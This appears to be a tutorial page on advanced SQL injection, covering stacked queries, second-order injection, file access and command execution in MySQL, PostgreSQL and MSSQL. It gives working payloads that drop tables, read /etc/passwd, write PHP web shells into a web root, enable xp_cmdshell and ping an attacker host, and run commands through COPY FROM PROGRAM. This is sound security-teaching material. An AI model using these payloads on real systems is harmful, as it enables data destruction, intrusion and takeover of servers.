Skip to content

Advanced SQL Injection Exploitation

Once you understand the basic mechanics of In-Band and Blind SQLi, you can move on to more complex attacks. This page covers techniques that push SQL injection beyond simple data extraction.


Stacked Queries

Normally, a SQL injection payload extends an existing query. Stacked Queries allow an attacker to terminate the original query and execute a completely new, independent query.

This is achieved by injecting a semicolon (;), which acts as the statement terminator in SQL.

Stacked Query Example
-- Original input: 1
SELECT * FROM products WHERE id = 1;

-- Attacker input: 1; DROP TABLE users--
SELECT * FROM products WHERE id = 1; DROP TABLE users--

Why Are Stacked Queries Dangerous?

Standard SQLi (like UNION SELECT) is generally restricted to SELECT statements (reading data). Stacked queries allow an attacker to run INSERT, UPDATE, DELETE, or Data Definition Language (DDL) commands like CREATE or DROP.

This enables an attacker to: 1. Create a new admin user. 2. Change the password of an existing admin. 3. Enable administrative features (like xp_cmdshell in MSSQL).

Limitations

Stacked queries do not work on all platforms. They are dependent on the database engine and the database driver/API used by the application (e.g., PHP PDO, JDBC).

DBMS Stacked Queries Supported?
MSSQL ✅ Yes (always supported)
PostgreSQL ✅ Yes (always supported)
MySQL ⚠️ Sometimes (Depends on PHP/driver configuration)
Oracle ❌ No (Requires PL/SQL injection)

Second-Order SQL Injection

Most SQL injection tutorials focus on First-Order (or immediate) SQLi, where the injected payload is executed immediately and the results are returned in the same HTTP response.

In Second-Order SQL Injection, the payload is submitted to the application and safely stored in the database (e.g., via a parameterized query). However, the vulnerability occurs later when the application retrieves that stored data and incorporates it into a new query without parameterization.

Attack Flow

  1. Injection (Storage): The attacker submits a payload, like admin'--, during user registration.
  2. Storage: The application uses a prepared statement to safely store admin'-- as the username in the database.
  3. Trigger (Execution): The attacker logs in. The application queries the database for the user's profile information using string concatenation:
    SELECT email, role FROM users WHERE username = 'admin'--'
    
  4. Result: The trailing comment -- drops the rest of the query, potentially altering the logic of the application (e.g., bypassing a password check or retrieving another user's data).

Challenges of Second-Order SQLi: * It is extremely difficult to find using automated scanners because the payload and the trigger are on different pages/endpoints. * The attacker must map out the entire application to understand where data is stored and where it is subsequently used.


Reading and Writing Files

If the database user has sufficient privileges (e.g., DBA or FILE privileges) and the database configuration permits it, an attacker can interact with the underlying operating system's file system.

MySQL File Operations

Reading Files (LOAD_FILE)

Read /etc/passwd
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--

Requirement: The user must have the FILE privilege, and the secure_file_priv variable must be empty or encompass the target directory.

Writing Files (INTO OUTFILE)

This is the classic method for dropping a web shell onto a server.

Write a PHP Web Shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>', 2, 3 INTO OUTFILE '/var/www/html/shell.php'--

Requirement: The database user must have write permissions to the destination directory, which must be the application's web root for the shell to be accessible.

PostgreSQL File Operations

Reading Files (pg_read_file)

Read /etc/passwd
' UNION SELECT 1, pg_read_file('/etc/passwd'), 3--

Writing Files (COPY TO)

PostgreSQL can use the COPY command to write query results to a file, provided you have superuser privileges and can use stacked queries.

Write a Web Shell
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';--

Operating System Command Execution (RCE)

The ultimate goal of many SQL injection attacks is to achieve Remote Code Execution (RCE) on the database server.

MSSQL: xp_cmdshell

MSSQL includes a built-in extended stored procedure called xp_cmdshell that allows execution of Windows command-line instructions directly from SQL queries.

It is disabled by default in modern versions of SQL Server, but an attacker with sa (sysadmin) privileges can re-enable it using stacked queries.

Enabling and Executing xp_cmdshell
-- 1. Enable advanced options
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--

-- 2. Enable xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

-- 3. Execute a command (e.g., ping the attacker to verify)
'; EXEC xp_cmdshell 'ping -n 1 attacker.com';--

PostgreSQL: COPY FROM PROGRAM

Starting with PostgreSQL 9.3, the COPY command can execute an OS command and copy its standard output into a table. This requires superuser privileges and stacked queries.

PostgreSQL RCE
-- 1. Create a table to hold the command output
'; CREATE TABLE cmd_output(output text);--

-- 2. Execute the command (e.g., id) and store the output
'; COPY cmd_output FROM PROGRAM 'id';--

-- 3. Read the output (via UNION SELECT or Error-Based)
' UNION SELECT 1, output, 3 FROM cmd_output--